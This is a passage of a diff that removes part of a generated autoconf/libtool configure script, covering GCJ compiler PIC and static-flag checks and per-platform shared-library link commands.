- lt_prog_compiler_pic_GCJ='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_GCJ='-Bstatic'
- else
- lt_prog_compiler_static_GCJ='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic_GCJ='-qnocommon'
- lt_prog_compiler_wl_GCJ='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_GCJ='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_GCJ='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- lt_prog_compiler_static_GCJ='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # PIC (with -KPIC) is the default.
- lt_prog_compiler_static_GCJ='-non_shared'
- ;;
-
- newsos6)
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-fpic'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
- ccc*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # All Alpha code is PIC.
- lt_prog_compiler_static_GCJ='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # All OSF/1 code is PIC.
- lt_prog_compiler_static_GCJ='-non_shared'
- ;;
-
- solaris*)
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- lt_prog_compiler_wl_GCJ='-Qoption ld ';;
- *)
- lt_prog_compiler_wl_GCJ='-Wl,';;
- esac
- ;;
-
- sunos4*)
- lt_prog_compiler_wl_GCJ='-Qoption ld '
- lt_prog_compiler_pic_GCJ='-PIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- lt_prog_compiler_pic_GCJ='-Kconform_pic'
- lt_prog_compiler_static_GCJ='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- unicos*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_can_build_shared_GCJ=no
- ;;
-
- uts4*)
- lt_prog_compiler_pic_GCJ='-pic'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- *)
- lt_prog_compiler_can_build_shared_GCJ=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_GCJ" >&5
-$as_echo "$lt_prog_compiler_pic_GCJ" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic_GCJ"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic_GCJ works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic_GCJ works... " >&6; }
-if ${lt_prog_compiler_pic_works_GCJ+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works_GCJ=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic_GCJ"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works_GCJ=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works_GCJ" >&5
-$as_echo "$lt_prog_compiler_pic_works_GCJ" >&6; }
-
-if test x"$lt_prog_compiler_pic_works_GCJ" = xyes; then
- case $lt_prog_compiler_pic_GCJ in
- "" | " "*) ;;
- *) lt_prog_compiler_pic_GCJ=" $lt_prog_compiler_pic_GCJ" ;;
- esac
-else
- lt_prog_compiler_pic_GCJ=
- lt_prog_compiler_can_build_shared_GCJ=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic_GCJ=
- ;;
- *)
- lt_prog_compiler_pic_GCJ="$lt_prog_compiler_pic_GCJ"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl_GCJ eval lt_tmp_static_flag=\"$lt_prog_compiler_static_GCJ\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works_GCJ+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works_GCJ=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works_GCJ=yes
- fi
- else
- lt_prog_compiler_static_works_GCJ=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works_GCJ" >&5
-$as_echo "$lt_prog_compiler_static_works_GCJ" >&6; }
-
-if test x"$lt_prog_compiler_static_works_GCJ" = xyes; then
- :
-else
- lt_prog_compiler_static_GCJ=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o_GCJ+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o_GCJ=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o_GCJ=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o_GCJ" >&5
-$as_echo "$lt_cv_prog_compiler_c_o_GCJ" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o_GCJ" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- runpath_var=
- allow_undefined_flag_GCJ=
- enable_shared_with_static_runtimes_GCJ=no
- archive_cmds_GCJ=
- archive_expsym_cmds_GCJ=
- old_archive_From_new_cmds_GCJ=
- old_archive_from_expsyms_cmds_GCJ=
- export_dynamic_flag_spec_GCJ=
- whole_archive_flag_spec_GCJ=
- thread_safe_flag_spec_GCJ=
- hardcode_libdir_flag_spec_GCJ=
- hardcode_libdir_flag_spec_ld_GCJ=
- hardcode_libdir_separator_GCJ=
- hardcode_direct_GCJ=no
- hardcode_minus_L_GCJ=no
- hardcode_shlibpath_var_GCJ=unsupported
- link_all_deplibs_GCJ=unknown
- hardcode_automatic_GCJ=no
- module_cmds_GCJ=
- module_expsym_cmds_GCJ=
- always_export_symbols_GCJ=no
- export_symbols_cmds_GCJ='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- # include_expsyms should be a list of space-separated symbols to be *always*
- # included in the symbol list
- include_expsyms_GCJ=
- # exclude_expsyms can be an extended regexp of symbols to exclude
- # it will be wrapped by ` (' and `)$', so one must not match beginning or
- # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
- # as well as any symbol that contains `d'.
- exclude_expsyms_GCJ="_GLOBAL_OFFSET_TABLE_"
- # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
- # platforms (ab)use it in PIC code, but their linkers get confused if
- # the symbol is explicitly referenced. Since portable code cannot
- # rely on this symbol name, it's probably fine to never include it in
- # preloaded symbol tables.
- extract_expsyms_cmds=
- # Just being paranoid about ensuring that cc_basename is set.
- for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- ld_shlibs_GCJ=yes
- if test "$with_gnu_ld" = yes; then
- # If archive_cmds runs LD, not CC, wlarc should be empty
- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec_GCJ='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_GCJ='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec_GCJ="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec_GCJ=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11
- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
- aix3* | aix4* | aix5*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- ld_shlibs_GCJ=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
-*** really care for shared libraries, you may want to modify your PATH
-*** so that a non-GNU linker is found, and then restart.
-
-EOF
- fi
- ;;
-
- amigaos*)
- archive_cmds_GCJ='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_minus_L_GCJ=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- ld_shlibs_GCJ=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag_GCJ=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds_GCJ='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, GCJ) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- allow_undefined_flag_GCJ=unsupported
- always_export_symbols_GCJ=no
- enable_shared_with_static_runtimes_GCJ=yes
- export_symbols_cmds_GCJ='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds_GCJ='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- interix3*)
- hardcode_direct_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_GCJ='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds_GCJ='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds_GCJ='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- whole_archive_flag_spec_GCJ='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- whole_archive_flag_spec_GCJ='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- archive_cmds_GCJ='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- archive_expsym_cmds_GCJ='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_GCJ='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- ld_shlibs_GCJ=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*)
- ld_shlibs_GCJ=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
-*** reliably create shared libraries on SCO systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.16.91.0.3 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- hardcode_libdir_flag_spec_GCJ='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- archive_cmds_GCJ='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- hardcode_direct_GCJ=yes
- hardcode_shlibpath_var_GCJ=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
- esac
-
- if test "$ld_shlibs_GCJ" = no; then
- runpath_var=
- hardcode_libdir_flag_spec_GCJ=
- export_dynamic_flag_spec_GCJ=
- whole_archive_flag_spec_GCJ=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- allow_undefined_flag_GCJ=unsupported
- always_export_symbols_GCJ=yes
- archive_expsym_cmds_GCJ='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- hardcode_minus_L_GCJ=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- hardcode_direct_GCJ=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds_GCJ='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds_GCJ='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds_GCJ=''
- hardcode_direct_GCJ=yes
- hardcode_libdir_separator_GCJ=':'
- link_all_deplibs_GCJ=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct_GCJ=yes
- else
- # We have old collect2
- hardcode_direct_GCJ=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L_GCJ=yes
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_libdir_separator_GCJ=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols_GCJ=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag_GCJ='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_GCJ='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds_GCJ="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
